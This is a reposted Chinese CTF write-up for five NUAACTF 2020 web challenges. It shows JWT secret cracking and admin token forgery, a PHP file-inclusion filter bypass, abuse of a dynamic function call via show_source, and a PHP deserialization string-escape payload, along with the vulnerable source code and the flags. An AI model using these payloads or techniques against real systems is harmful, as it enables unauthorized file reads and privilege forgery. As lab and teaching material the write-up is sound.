2020-NUAACTF-Web-writeup


本文首發於Leon的Blog,如需轉載請注明原地址並聯系作者

都是簡單題,簡單寫一寫

 

 

web1-checkin

F12得到flag

nuaactf{we1cOme_to_NuaAcTF}

web2-jwt

根據題目,登錄后抓包看見jwt,base64解一下看見格式,然后爆破secret,最后username構造為admin偽造jwt即可:

nuaactf{haojiGuoGuoTql}

web3-easypop

題目如圖,payload沒留

簡單的反序列化,將lemon類的$ClassObj實例化為evil類即可

nuaactf{you_can_really_p0p}

web4-command

F12源碼看見include.php,訪問之,url出現?file=index

簡單的文件包含,用偽協議讀讀include.php源碼:

 1 //include.php
 2 <?php  error_reporting(0);
 3 @$file = $_GET["file"];
 4 if(isset($file)) {
 5   if (preg_match('/http|data|ftp|input|%00|flag/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100) {
 6     echo "<p> error! </p>";
 7   } else {
 8     include($file.'.php');
 9     setcookie("tips","createfun.php");
10   }
11 } else {
12   header('Location:include.php?file=index');
13 }
14 ?>

發現提示createfun.php,繼續讀:

<?php
$func = @$_GET['func'];
$arg = @$_GET['arg'];
if(isset($func)&&isset($arg)){$func($arg,'');}

直接payload:createfun.php?func=show_source&arg=flag.php

得到:

<?php
$flag="nuaactf{php_IS_thE_best_language}";
?>

web5

直接就安恆4月賽的原題,改過了replace

原題見本站:https://clq0.top/2020/05/minil-ctf/#ezbypass

源碼:

<?php

show_source("index.php");

function filter_nohack($data) {
    return str_replace('flag', '', $data);

}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}
class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}
class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
       return 'nice';
    }

}

$a = new A($_GET['a'],$_GET['b']);

$b = unserialize(filter_nohack(serialize($a)));

這里直接是將flag置空,4字符變0字符,根據原題目的payload,因為要吞掉后面23個字符,4*6=24,所以前面構造6個flag,后面補一個字符,然后flag.php的flag要雙寫

payload:?a=flagflagflagflagflagflag&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flflagag.php";}}

flag{you_can_readlly_dance}

 php反序列化逃逸 / 文件包含

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM